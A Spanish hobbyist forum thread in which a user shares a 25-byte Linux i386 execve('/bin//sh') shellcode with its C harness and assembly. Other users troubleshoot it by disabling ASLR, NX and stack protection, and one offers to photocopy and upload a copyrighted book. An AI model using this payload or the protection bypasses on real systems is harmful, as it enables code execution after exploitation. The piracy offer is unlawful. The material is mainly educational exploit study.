Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Garfield07 en 4 Enero 2011, 12:59 pm



Título: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 4 Enero 2011, 12:59 pm
Bueno, acabo de conseguir que mi pezqueñina empiece a funcionar... Como Rojodos, yo comparto mi alegria jaja  ;-) ;-) ;-)
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9. (*(void(*)()) code)();
  10. return 0;
  11. }
  12.  
  13.  
Código
  1. BITS 32
  2. ; excve ()
  3.  
  4. xor eax, eax ; Ponemos EAX a cero para bytes nulos
  5. push eax ; Metemos los ceros en la pila
  6. push 0x68732f2f ; Metemos "//sh". La segunda barra no importa. Además alinea.
  7. push 0x6e69622f ; Metemos "/bin". Alineados en la pila
  8. mov ebx, esp ; Metemos la direccion en EBX
  9. push eax ; Mas bytes nulos ...
  10. mov edx, esp ; ... para el entorno de 3º argumento
  11. push ebx ; Metemos la direccion de la cadena en la pila
  12. mov ecx, esp ; Y se la pasamos como direccion
  13. mov al, 11 ; excve = syscall 11
  14. int 0x80 ; Ejecutamos
  15.  
Código:
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  89 e2 53 89 e1 b0 0b cd  80                       |..S......|
00000019

Quiero agradecerle a todos que me hayan ayudado a crearla, con pequeñas ayudas, tanto en el foro de ASM, como en el de C.
Especialmente se lo agradezco a Eternal Idol, que fue el que estuvo echandome una mano en mi primer programa, y en mi primera shellcode, y el que me ayudo en mis comienzos tanto en C como en ASM
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]
Os doy las gracias a todos los staffs por el gran trabajo que haceis, y a la comunidad en total, por echarme una manita tambien.

Disfrutad de la shellcode y muchas gracias !


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: leucocito en 4 Enero 2011, 14:07 pm
Me alegro mucho Sagrini sigue asi.


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: ..::NexuS::.. en 4 Enero 2011, 15:10 pm
Una pregunta , para que sirve esto?


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 4 Enero 2011, 15:14 pm
Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: SnakingMax en 4 Enero 2011, 15:34 pm

Enhorabuena Sagrini me alegro de que al final lo hayas conseguido ^.^

Yo no consigo correr ninguna shellcode en mi equipo. Por ejemplo al tratar de probar la tuya me salta "Fallo de segmentación":
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  5.  
  6. int main(int argc, char **argv)
  7. {
  8. printf ("TinShell V1.0 : By Sagrini : %d bytes\n", strlen (code));
  9. (*(void(*)()) code)();
  10. return 0;
  11. }
  12.  

Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

He puesto a cero /proc/sys/kernel/randomize_va_space
Datos de mi distro:
DISTRIB_RELEASE=10.04
DISTRIB_CODENAME=lucid
DISTRIB_DESCRIPTION="Ubuntu 10.04.1 LTS"
Versión del compilador: gcc-4.4

Si podeis orientarme en qué puede estar pasando de agradece.
Saludos


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: ..::NexuS::.. en 4 Enero 2011, 15:36 pm
Muchas gracias por tu apoyo leucocito. Si que seguire ;)
Bueno, una shellcode es un codigo que se usa para controlar una aplicación una vez sabes como explotar un bug. Por ejemplo, es donde se manda el programa al sobreescribir el ret.

Muchas gracias por vuestro apoyo!

Gracias por la aclaracion  :)


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 4 Enero 2011, 15:55 pm
De nadas Nexus todo por el conocimiento xD jajaja
Gracias Snaking. Ahora me meto el live cd con lo que me has dixo... si lo encuentro jaja.
Bueno, reinicio y digo que pasa...
[PD: No es por el argumento -static. A mi me corre con el. Reiniciando...]


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: SnakingMax en 4 Enero 2011, 16:41 pm
Cita de: Terminal
snakingmax@thebigbrother:~/Escritorio/sc$ gcc -g -static -o shellcode shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ls
shellcode  shellcode.c
snakingmax@thebigbrother:~/Escritorio/sc$ ./shellcode
TinShell V1.0 : By Sagrini : 25 bytes
Fallo de segmentación

snakingmax@thebigbrother:~/Escritorio/sc$

Me autorespondo:
Tenía la Protección NX activada. Para desactivarla solamente para ese ejecutable hice esto:
snakingmax@thebigbrother:~/Escritorio/sc$ execstack -s shellcode

Saludos


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: M3st4ng en 4 Enero 2011, 16:57 pm
Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: SnakingMax en 4 Enero 2011, 17:02 pm
Hola!

Intenta compilar el código con estos parámetros:

Código:
gcc -g -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Yo he tenido muchos problemas por todo el tema de las protecciónes.
Gracuas por la ayuda M3st4ng, lo he solucionado despues de compilarlo con execstack -s shellcode.

Bueno yo me acabo de acordar de que le deje el disco a mi padre xD asi k menos mal... Google?  :silbar:
Google si. Supuse que tenía alguna protección activada.
Para probar tu S.C. puse a cero /proc/sys/kernel/randomize_va_space y me extrañó que no funcionase, luego probé otras shellcodes que ya había corrido otras veces y seguían sin funcionar.

Saludos


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 4 Enero 2011, 17:35 pm
A mi eso me fastidio mucho por lo del buffer overflow, gcc me puso una proteccion anti-BoF jaja
Pues yo lo desactive pork me molestaba para analisis de vulns y se me ha quedado asi
bueno, suerte !


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 4 Enero 2011, 22:45 pm
Acabo de subir mi shellcode a Shell-Storm.org !!!
Posteare la url pronto !!!


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Ivanchuk en 5 Enero 2011, 10:53 am
Felicitaciones Sagrini! ;-)


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Garfield07 en 7 Enero 2011, 12:15 pm
http://shell-storm.org/shellcode/shellcode-linux.php
http://shell-storm.org/shellcode/files/shellcode-746.php

Muchas gracias!
[Desde 05-01-11] Ahora miro el correo....


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: Oblivi0n en 20 Enero 2011, 00:31 am
Citar
Cito tambien el libro "Hacking. Técnicas fundamentales" y a su autor, Jon Erikson, sin los que no habria podido empezar, y recomiendo la lectura del libro [Me han mandado PMs para saber donde comprarlo. Lo siento, lo tengo de la biblioteca, pero lo podeis comprar jaja]

[Offtopic] Si a alguien le interesa, yo compré ese libro hace una semana por recomendacion de Sagrini, y voy fotocopiandolo a medida que lo leo, lo subiré en cuanto vaya acabandolo ( o por temas, segun vea) , son 500 pags, asique llevara lo suyo... xD


Título: Re: ¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes
Publicado por: leucocito en 20 Enero 2011, 00:47 am
Oblivi0n aqui tienes un intersado en el libro.

Saludos tio ;)